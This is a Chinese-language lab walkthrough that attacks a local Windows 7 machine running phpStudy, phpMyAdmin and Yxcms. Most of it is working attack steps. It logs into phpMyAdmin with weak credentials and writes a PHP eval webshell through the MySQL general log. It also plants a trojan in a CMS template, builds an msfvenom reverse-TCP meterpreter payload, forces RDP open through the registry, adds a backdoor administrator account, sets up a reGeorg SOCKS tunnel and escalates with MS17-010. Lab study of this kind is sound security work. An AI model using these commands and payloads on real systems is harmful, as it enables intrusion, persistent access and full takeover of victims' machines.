实验环境:
win7靶机:192.168.42.128
攻击机kali2020:192.168.42.129
0x01、信息收集
Nmap扫描开放的端口
Namp -sV 192.168.42.128

继续对80端口进行信息收集

发现了phpinfo.php文件和phpMyAdmin

访问phpinfo.php发现www根目录的位置
访问phpmyadmin,使用弱口令root,root成功进入后台

这里可以看到mysql的版本和apache服务器的一些信息
0x02、利用phpmyadmin日志文件getshell
执行SHOW VARIABLES LIKE 'secure_file_priv'
查看该站点是否有写入权限

secure_file_priv的值为null,说明mysql不允许导入导出
执行 SHOW VARIABLES LIKE '%general_log%'
查看日志文件的相关信息

可以看到日志为关闭状态,我们需要开启日志,并且更换日志路径
SET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = 'C:/phpStudy/WWW/log.php';



执行SQL语句,写入一句话木马
SELECT '<?php @eval($_POST["obse"]);?>';

查看木马是否可用

0x03、利用Yxcms来getshell
目标机上存在已知cms

进入后台登录界面

利用phpmyadmin查看admin密码

尝试对密码进行md5解密


解密失败,看来不一定是md5加密
百度得到yxcms后台默认管理员密码123456,然后进入后台

通过前台模板插入木马文件


注意木马文件所在位置

yxcms下有protected和public两个目录,经过一番寻找,最终发现木马位置

0x04、getshell后的一些操作
用蚁剑连上shell

蚁剑的虚拟终端不是很好用,个人还是比较喜欢用msf中的会话
用msf生成exe木马,创建一个终端会话,php马也可以,不过我这里我这里不知道是什么原因,php马总是掉
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.42.129 LPORT=4444 -e x86/shikata_ ga_nai -i 5 -f exe > 123.exe

尝试用终端强行开启3389端口,然后使用远程桌面连接
进入shell后,为了防止乱码,再输入chcp 65001
来更改编码方式

查看3389端口是否开启
netstat -ano

可以看到3389端口未开启
强行开启3389端口
echo Windows Registry Editor Version 5.00>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDPTcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
del 3389.reg


命令行添加windows用户并加入administrators组
net user obse Password@007 /add
net localgroup administrators obse /add

尝试远程桌面连接

应该是设置了什么策略,所以我们没法成功连接
如果是真实的渗透,建议使用代理工具代理流量,这里随便记录一下使用reGeorg开启socks5反向代理的方法
先上传tunnel.php到与shell.php同一目录下

访问tunnel.php如果出现以下界面则说明这个脚本可用

运行reGeorgSocksProxy.py脚本
python2 reGeorgSocksProxy.py -l 0.0.0.0 -p 2333 -u http://192.168.42.128/yxcms/protected/apps/default/view/default/tunnel.php

这时就可以使用代理软件了,使用proxifier进行socks5代理
打开proxifier,在配置文件中选择代理服务器

然后在配置文件中选择代理规则

这里应用程序本来是任意程序,这里只需要添加mstsc.exe(远程桌面连接程序)

最后只勾选我们需要的代理就行了
然后再进行远程桌面连接就可以了
尝试提权
既然没法远程桌面连接,那就尝试提权吧
使用bypassuac进行提权


经过一番尝试,未能提权成功
使用系统漏洞提权
复制systeminfo信息到提权辅助页面:https://bugs.hacking8.com/tiquan/

查询到以下漏洞

search漏洞编号,利用漏洞提权

ms17-010可以利用

设置好参数,然后执行脚本

成功提权到system